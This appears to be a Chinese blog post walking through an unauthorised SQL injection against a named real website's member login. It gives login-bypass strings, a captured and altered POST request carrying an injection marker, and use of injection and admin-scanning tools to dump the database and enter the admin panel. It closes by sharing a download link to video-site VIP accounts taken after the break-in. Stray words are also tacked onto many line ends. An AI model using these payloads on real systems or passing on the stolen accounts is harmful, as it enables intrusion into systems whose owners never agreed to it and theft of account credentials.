刚发现漏洞时,我就已经成功实现了注入,由于怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经没法访问了,如今发出来应该就没有什么大问题了。php
某VIP会员专用系统 http://www.tcmpv.com/index.php/Home/Public/login.htmlhtml
注入工具:web
超级SQL注入工具【SSQLInjection】http://www.shack2.org/article/1417357815.htmlsql
明小子数据库
抓包工具:安全
Wireshark网络
一看这种很low的系统就有可能存在漏洞app
废话很少说,输入单引号" ' "进行测试:工具
输入单引号学习
测试结果
看到测试结果报数据库错误,这就证实该系统存在SQL注入漏洞。并且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
"我有漏洞,欢迎注入!"
进一步测试,输入" 'or''=' ",点肯定,直接就登陆成功了,以下图
输入" 'or''=' ",点肯定
登陆成功
不用密码,直接进去了,看来漏洞真的存在!
接下来测试下能不能使用注入语句,这里有两个选择:
or语句前面已经有说明,这里就以知道密码的状况做说明(or语句原理相同)
网页上直接给出了获取密码的方式:
加群,拿到密码:3389
构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
再次成功登入,确承认以进行注入攻击。
接下来就能够对数据库进行数据库名(前面提到,登陆错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜想了
手动猜想的具体方法能够参考这里:
sql注入实例分析(http://www.cnblogs.com/leftshine/p/SQLInjection.html)
固然手动猜想的量太大了,这么劳神费力的事固然要交给程序来完成,不过仍是强烈建议看看这篇文章来了解下SQL注入的基本原理,否则后面操做一片茫然。
由于该系统不能简单经过网页URL来传递信息,因此咱们须要构造数据包以POST方式发送数据包来注入。
根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
这就简单多了,咱们直接抓取正常发送的数据包,加以改造就能够用来注入了!
这里咱们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析(http://www.cnblogs.com/leftshine/p/5698890.html)
使用Wireshark抓取到的POST数据包内容以下:
POST /index.php/Home/Public/do_login.html HTTP/1.1
Host: www.tcmpv.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.tcmpv.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
key=3389
修改为注入使用的POST包:
POST /index.php/Home/Public/do_login.html HTTP/1.1
Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 8
Host: www.tcmpv.com
Connection: Keep-Alive
Pragma: no-cache
Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
key=3389<sEncode>%')#inject##<eEncode>
这个数据包能够由软件"超级SQL注入工具"根据上面的包自动生成,具体操做请参考软件压缩包中相应的使用说明。
其实咱们只要将抓取到的数据包粘进程序中,而后点击"自动识别",软件就会自动进行相应配置,而后看状况改改就能够了(通常状况下,自动配置就能够搞定了)。
配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若可以正确返回网页信息,则配置可用:
正确返回网页信息
虽然图中显示"登陆失败",但证实能够正确返回网页信息,配置可用!
点击获取数据
获取数据
而后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
数据库信息尽收眼底
能够看到,确实有名为"tp_login"的表和"3389"这个密码。
接下来就能够为所欲为的获取数据了。
获取到的管理员帐号信息:
管理员帐号信息
有了管理员帐号信息,如何使用呢?上第二个软件:"明小子",其实它自己就是一个注入工具,不知道是否是年代过久远了……好多功能不实用。这里咱们只用到"管理入口扫描"功能,以下图:
管理入口扫描
获取到了4个连接,挨个打开看,发现这个能够用:
http://www.tcmpv.com/index.php/Admin/Public/login.html
管理员登陆
输入帐号密码,登陆
登陆成功
登陆成功,看到笑脸真是开心!
成功进入后台
成功进入管理后台,发现并无什么价值的信息,却是有不少某视频网站的VIP帐号,也不造这些万人骑的帐号能不能用……
至此,整个SQL注入成功完成!
福利(注入以后获取到的帐号):----------------分割线---连接:https://eyun.baidu.com/s/3boCXbXl 密码:iqiyi
相关阅读:sql注入实例分析 | JSP使用过滤器防止SQL注入